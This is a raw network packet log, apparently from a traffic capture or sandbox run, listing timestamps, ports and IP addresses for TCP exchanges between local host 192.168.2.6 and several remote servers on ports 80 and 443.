Nov 12, 2024 17:07:53.632852077 CET	49938	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.632854939 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.632855892 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.632893085 CET	49938	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.634380102 CET	49942	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.634392023 CET	443	49942	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.634893894 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.634929895 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.635601044 CET	49940	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.635606050 CET	443	49940	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.635644913 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.636079073 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.636090994 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.636226892 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.636756897 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.636771917 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.637268066 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.637279987 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.639861107 CET	49938	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.639873028 CET	443	49938	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.640237093 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.640252113 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.640333891 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.641216040 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.641230106 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.642388105 CET	49941	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.642406940 CET	443	49941	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.664459944 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.664863110 CET	49943	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.664880991 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.665354013 CET	49943	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.665359020 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.708494902 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.708527088 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.708539009 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.708551884 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.708570004 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.708646059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.708657980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.708668947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.708688021 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.708714008 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.708895922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.708909035 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.708920002 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.708947897 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.708973885 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709033012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709044933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709055901 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709079981 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709105015 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709170103 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709182024 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709193945 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709222078 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709234953 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709388018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709403992 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709415913 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709427118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709466934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709481001 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709625959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709640026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709650040 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709661961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709665060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709672928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709686995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.709690094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709712982 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709731102 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.709981918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710000038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710011959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710022926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710026979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.710036993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710052013 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.710078955 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.710257053 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710268021 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710284948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710297108 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710308075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710319042 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710340977 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.710366011 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.710772038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710783958 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710799932 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710810900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710823059 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710830927 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.710846901 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.710865974 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.710969925 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710980892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.710989952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711002111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711013079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711026907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711030960 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.711060047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.711353064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711366892 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711378098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711390018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711400986 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711412907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711424112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711431980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.711440086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.711442947 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.711469889 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.711484909 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.713484049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.713526011 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.713543892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.713562012 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.743940115 CET	443	49932	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:53.744282961 CET	49932	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:53.744313002 CET	443	49932	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:53.745294094 CET	443	49932	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:53.745353937 CET	49932	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:53.746674061 CET	49932	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:53.746730089 CET	443	49932	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:53.746922970 CET	49932	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:53.746929884 CET	443	49932	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:53.747040987 CET	49932	443	192.168.2.6	13.70.79.200
Nov 12, 2024 17:07:53.747064114 CET	443	49932	13.70.79.200	192.168.2.6
Nov 12, 2024 17:07:53.750675917 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.750699997 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.750710011 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.750725031 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.750746965 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.750752926 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.750771046 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.750785112 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.750812054 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.755095005 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.755116940 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.755125046 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.755157948 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.755173922 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.755179882 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.755193949 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.755223989 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.755233049 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.755245924 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.755255938 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.755276918 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.755301952 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.757529020 CET	49939	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.757544041 CET	443	49939	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.763092041 CET	443	49944	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.764264107 CET	49944	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.764292002 CET	443	49944	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.764787912 CET	49944	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.764794111 CET	443	49944	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.774799109 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.775403023 CET	49945	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.775418043 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.777107000 CET	49945	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.777111053 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.820305109 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.820332050 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.820363998 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.820449114 CET	49943	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.820616961 CET	49943	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.820631981 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.820641994 CET	49943	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.820647001 CET	443	49943	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.826365948 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.826402903 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.826478958 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.828093052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828123093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828136921 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828147888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828161001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828171015 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828171968 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828186989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828205109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828223944 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828233004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828238964 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828320026 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828330994 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828342915 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828355074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828368902 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828382969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828407049 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828447104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828468084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828480005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828485966 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828520060 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828644991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828655005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828727007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828738928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828748941 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828759909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828771114 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.828777075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828794956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828814030 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.828994989 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829022884 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829035997 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829045057 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829052925 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829056978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829068899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829071999 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829086065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829094887 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829112053 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829258919 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829271078 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829282999 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829319000 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829334974 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829395056 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829407930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829418898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829437971 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829442024 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829452038 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829463005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829467058 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829474926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829483032 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829488993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829514980 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829541922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.829947948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829958916 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829968929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829981089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.829989910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830001116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830012083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830015898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.830015898 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.830049038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.830071926 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830082893 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830094099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830104113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830111980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830116987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830122948 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830135107 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.830183983 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.830359936 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830370903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830382109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830393076 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830405951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830414057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.830416918 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830435991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830440998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.830449104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830455065 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.830462933 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.830486059 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.830509901 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.832554102 CET	49954	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.832568884 CET	443	49954	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.868130922 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.868154049 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.868208885 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.868227005 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.868288994 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.868324995 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.868333101 CET	443	49937	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:53.868717909 CET	49937	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:53.870635033 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.870660067 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.870671988 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.870737076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.870737076 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.912770987 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.912794113 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.912837982 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.912847996 CET	49945	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.912883043 CET	49945	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.913079977 CET	49945	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.913093090 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.913122892 CET	49945	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.913127899 CET	443	49945	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.915920973 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.915960073 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.916232109 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.916714907 CET	49955	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:53.916728020 CET	443	49955	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:53.947848082 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.947881937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.947905064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.947920084 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.947918892 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.947942019 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.947949886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.947956085 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.947978020 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.947993994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948156118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948168993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948183060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948208094 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948234081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948303938 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948318958 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948337078 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948364019 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948380947 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948566914 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948582888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948594093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948607922 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948620081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948622942 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948636055 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948651075 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948652029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948667049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948676109 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948690891 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948715925 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:53.948966980 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.948982000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949119091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949131966 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:53.949143887 CET	80	49859	185.215.113.206	192.168.2.6
